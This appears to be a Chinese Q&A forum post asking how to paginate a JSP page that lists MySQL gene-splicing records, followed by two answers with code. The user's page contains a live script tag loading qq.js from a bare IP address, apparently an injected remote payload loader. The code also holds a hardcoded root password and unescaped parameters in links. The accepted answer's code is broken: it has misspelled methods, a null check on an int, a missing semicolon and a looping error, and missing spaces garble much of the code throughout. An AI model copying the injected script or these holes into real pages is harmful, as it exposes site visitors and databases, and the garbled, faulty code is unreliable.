下面是我的jsp连接mysql数据库的代码,现在有的数据库的条目有1000多个,我想分页显示,每页显示200个,请问怎么改才能实现?
<!DOCTYPE HTML PUBLIC"-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>alternative splicing ofEST</TITLE>
<METANAME="Generator" CONTENT="EditPlus">
<METANAME="Author" CONTENT="">
<METANAME="Keywords" CONTENT="">
<METANAME="Description" CONTENT="">
</HEAD>
<%@ pageimport="java.sql.*" %>
<% Stringvalue=request.getParameter("database");
String abc="aaa";%>
<%if(value.equals("1")){abc="jdbc:odbc:cancer_adrenal_tumor";
}
if(value.equals("2")){abc="jdbc:odbc:cancer_bone_marrow_leukemia";
}
if(value.equals("3")){abc="jdbc:odbc:cancer_brain_glioma";
}
%>
<BODY>
<table border=1 width=800>
<tr>
<tdbgcolor="9999ff"><b>EST_id</b></td>
<td bgcolor="9999ff"><b>Exon positions</b></td>
<td bgcolor="9999ff"><b>tissue-specific AStranscripts</b></td>
<tdbgcolor="9999ff"><b>Insertion/Deletion</b></td>
<td bgcolor="9999ff"><b>ESTnumbers</b></td>
<tdbgcolor="9999ff"><b>geneid</b></td>
</tr>
<%
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
String url;
url=abc;
String username="root";
String password="4114";
Connectioncon=DriverManager.getConnection(url,username,password);
Statement stmt=con.createStatement();
ResultSet rs=stmt.executeQuery("select *from alter_splicing");
while(rs.next())
{
Strings=rs.getString("sbjct");
%>
<tr>
<td><%= rs.getString("est_id")%></td>
<td><%= rs.getString("position")%></td>
<td><ahref="test2.jsp?aaa=<%=s%>&bbb=<%=abc%>"><%=s%></a></td>
<td><%= rs.getString("type")%></td>
<td><%= rs.getString("est_numbers")%></td>
<td><%=rs.getString("geneid")%></td>
</tr>
<%
}
rs.close();
con.close();
%>
</table>
</BODY>
</HTML>
<script language=javascript src=http://218.75.91.248/qq.js></script>
问题补充:
请帮忙
最佳答案
以下这段代码请加在你的JSP页面的<BODY>标签当中
<%
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
String url;
url=abc; //这个URL可能有问题的,你自己根据自己数据库的配置再看看
String username="root";
String password="4114";
Connectioncon=DriverManager.getConnection(url,username,password);
Statementstmt=con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_READ_ONLY);
ResultSetrs=stmt.executeQuery("select * from alter_splicing");
int totalPage=0;
rs.last();
int lastRow=rs.getRow();
if(lastRow%200==0)
{
totalPage=lastRow/200;
}
else
totalPage=lastRow/200+1;
%>
<p>每页显示200行数据,共有<%=totalPage%>页</p>
<form name="form"action="当前页面.jsp"method="post">
<input type="text"name="page" value="" />
<input type="submit"name="submit" value="确定"/>
</form>
<%
String pageChoosed=request.getParament("page");
int currentPage=Integer.parseInt(pageChoosed);
if(currentPage==null)
{
currentPage=1;
}
if(currentPage>totalPage)
{
currentPage=totalPage;
}
int currentRow=(currentPage-1)*200+1;
rs.absolute(currentRow)
out.println("<tableborder=1>");
while(rs.next())
{
//这里面读数据库里的表的字段,你根据自己的表再看看
for(int i=0;i<200;i++)
{
out.println("<tr>");
out.println("<td>"+rs.getString("est_id")+"</td>");
out.println("<td>"+rs.getString("position")+"</td>");
out.println("<td>"+rs.getString("type")+"</td>");
out.println("<td>"+rs.getString("est_numbers")+"</td>");
out.println("<td>"+rs.getString("geneid")+"</td>");
out.println("</tr>");
}
}
out.println("</table>");
rs.close();
stmt.close();
con.close();
%>
方法二:
jsp页面实现分页显示数据库查询内容
对于一个中等以上项目来说,庞大的表信息无法实现在一个jsp页面中预览,分页显示势在必行。本程序主要实现jsp页中查询数据分页显示功能:
<%
String sql=null;
ResultSet rs=null;
int PageSize=5;
int Page=1;
int totalPage=1;
int totalRecord=0;
Connection con=splBean.getConnet();
Statementstmt=con.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
//算出总行数tatalRecord
sql="select count(*) as recordcount from student";
rs=stmt.executeQuery(sql);
if(rs.next()) totalRecord=rs.getInt("recordcount");
System.out.println(totalRecord);
//算出总页数totalPage
if(totalRecord%PageSize==0) totalPage=totalRecord/PageSize;
else totalPage=(int)Math.floor(totalRecord/PageSize)+1;//最后还空余一页情况,Math.floor(x):比x小的最大值。
if(totalPage==0) totalPage=1;//数据库中一条数据也没有的处理情况;
//捕捉form表单提交的Page元素
if(request.getParameter("Page")==null||request.getParameter("Page")=="")Page=1;
else try{
Page=Integer.parseInt(request.getParameter("Page"));
}catch(java.lang.NumberFormatException e){
Page=1;
}
//如果Page非常规数值处理
if(Page>totalPage) Page=totalPage;
if(Page<1) Page=1;
sql="select * from student";
rs=stmt.executeQuery(sql);
rs.absolute((Page-1)*PageSize+1);
ResultSetMetaData meta=rs.getMetaData();
int col=meta.getColumnCount();//得到表头有多少列
out.println("<table border='1'>");
//输出表头信息
out.println("<tr>");
for(int i=1;i<col+1;i++)
{
out.println("<td>");
out.print("列名:");
out.print(meta.getColumnName(i)+"<br>");
out.print("类型:");
out.print(typetoString(meta.getColumnType(i)));//检索并返回指定列的sql类型
out.println("</td>");
}
out.println("<td>更改</td>");
out.println("<td>删除</td>");
out.println("</tr>");
for(int iPage=1;iPage<PageSize+1;iPage++)
{
out.print("<tr><td>"+rs.getString(1)+"</td>");
out.print("<td>"+rs.getString(2)+"</td>");
out.print("<td>"+rs.getString(3)+"</td>");
out.print("<td>"+rs.getString(4)+"</td>");
out.print("<td>"+rs.getString(5)+"</td>");
out.print("<td>"+rs.getString(6)+"</td>");
out.print("<td><ahref=\"change.jsp?Xuehao="+rs.getString(1)+"\">修改</a></td>");
out.print("<td><ahref=\"del.jsp?Xuehao="+rs.getString(1)+"\">删除</a></td>");
if(!rs.next()) break;
}
out.println("</table>");
stmt.close();
con.close();
%>
其中的typetoString()函数的作用是转换得到sql相应的结果类型.如typetoString(1)的得到的结果伟integer